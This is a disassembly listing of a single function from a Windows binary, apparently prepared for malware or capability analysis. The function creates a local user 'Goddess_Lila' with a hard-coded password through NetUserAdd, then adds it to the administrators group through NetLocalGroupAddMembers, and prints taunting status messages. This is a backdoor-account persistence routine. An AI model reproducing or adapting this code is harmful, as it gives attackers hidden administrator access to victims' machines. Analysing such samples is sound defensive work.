Function at 0x1400027ea
Capabilities:
Add user account
Add user account to group

Disassembly:
push rbp
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xb0]
lea rax, str.Goddess_Lila
mov qword [rbp - 8], rax
lea rax, str.LilaOwnsMyPC_982
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x14], 1
mov dword [rbp - 0x54], 0
mov rax, qword [rbp - 8]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x3c], 1
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov dword [rbp - 0x28], 0x10201
mov qword [rbp - 0x20], 0
lea rcx, [rbp - 0x54]
lea rdx, [rbp - 0x50]
mov eax, dword [rbp - 0x14]
mov r9, rcx
mov r8, rdx
mov edx, eax
mov ecx, 0
call sym.NetUserAdd
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0
jne 0x1400029f1
lea rax, str.Created_myself_a_little_account_hehe.
mov rdx, rax
mov rax, qword [0x1400c3770]
mov rcx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
lea rax, [rbp - 0x80]
mov rcx, rax
call method.Admin.getAdminGroupName_abi:cxx11___
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.empty___const
xor eax, 1
test al, al
je 0x1400029b8
mov rax, qword [rbp - 8]
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
lea rdx, [rbp - 0x60]
mov dword [rsp + 0x20], 1
mov r9, rdx
mov r8d, 3
mov rdx, rax
mov ecx, 0
call sym.NetLocalGroupAddMembers
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0
jne 0x14000295d
lea rax, str.Successfully_made_myself_an
mov rdx, rax
mov rax, qword [0x1400c3770]
mov rcx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x80]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____std::__cxx11::basic_string_wchar_t__std::char_traits_wc
mov rcx, rax
lea rax, str.._:3
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
jmp 0x1400029e3
lea rax, str.Error_when_adding_user_to_group
mov rdx, rax
mov rax, qword [0x1400c3770]
mov rcx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x80]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____std::__cxx11::basic_string_wchar_t__std::char_traits_wc
mov rcx, rax
lea rax, [0x1400bd76a]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov eax, dword [rbp - 0x18]
mov edx, eax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
jmp 0x1400029e3
lea rax, str.Cant_find_admin_group_:_.
mov rdx, rax
mov rax, qword [0x1400c3770]
mov rcx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x140002a46
lea rax, str.Cant_create_user_:__:
mov rdx, rax
mov rax, qword [0x1400c3770]
mov rcx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov eax, dword [rbp - 0x18]
mov edx, eax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____]
mov rdx, rax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
jmp 0x140002a46
add rsp, 0xb8
pop rbx
pop rbp
ret